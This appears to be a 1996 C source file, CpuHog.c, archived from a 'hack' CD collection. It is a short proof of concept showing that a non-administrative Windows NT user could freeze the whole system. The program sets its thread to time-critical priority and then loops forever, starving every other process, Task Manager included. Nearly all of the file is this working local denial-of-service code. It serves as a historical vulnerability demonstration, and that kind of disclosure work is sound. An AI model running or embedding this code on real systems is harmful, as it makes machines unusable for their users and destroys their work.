home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / CPUHOG.ZIP / CPUHOG.C next >
Encoding:
C/C++ Source or Header  |  1996-12-16  |  1.2 KB  |  38 lines

  1. //============================================================================
  2. //
  3. // CpuHog.c
  4. //
  5. // Copyright (C) 1996 Mark Russinovich
  6. //
  7. // How vulnerable is NT? Here is a 5 line program, runnable from a
  8. // guest account, that instantly cripples an NT system. Once started, no
  9. // other program will run, and there is no way to stop it. No, not even 
  10. // task manager can get a shot at the CPU after CpuHog is off and running!
  11. //
  12. //============================================================================
  13. #include <windows.h>
  14.  
  15.  
  16. //---------------------------------------------------------
  17. //
  18. // main
  19. //
  20. // Set thread to highest priority allowed for programs
  21. // that run without administrative privilege and just sit
  22. // in a loop.
  23. //
  24. //---------------------------------------------------------
  25. int WINAPI WinMain(    HINSTANCE hInstance, 
  26.                    HINSTANCE hPrevInstance,    
  27.                    LPSTR lpCmdLine,
  28.                    int nCmdShow )
  29. {
  30.     MessageBox( NULL, "CpuHog V1.0\n\nCopyright (C) 1996 Mark Russinovich\n"
  31.                     "http://www.ntinternals.com", "CpuHog", MB_OK );
  32.     SetThreadPriority( GetCurrentThread(),
  33.             THREAD_PRIORITY_TIME_CRITICAL );
  34.     while(1);
  35.  
  36.     // never get here
  37.     return 0;
  38. }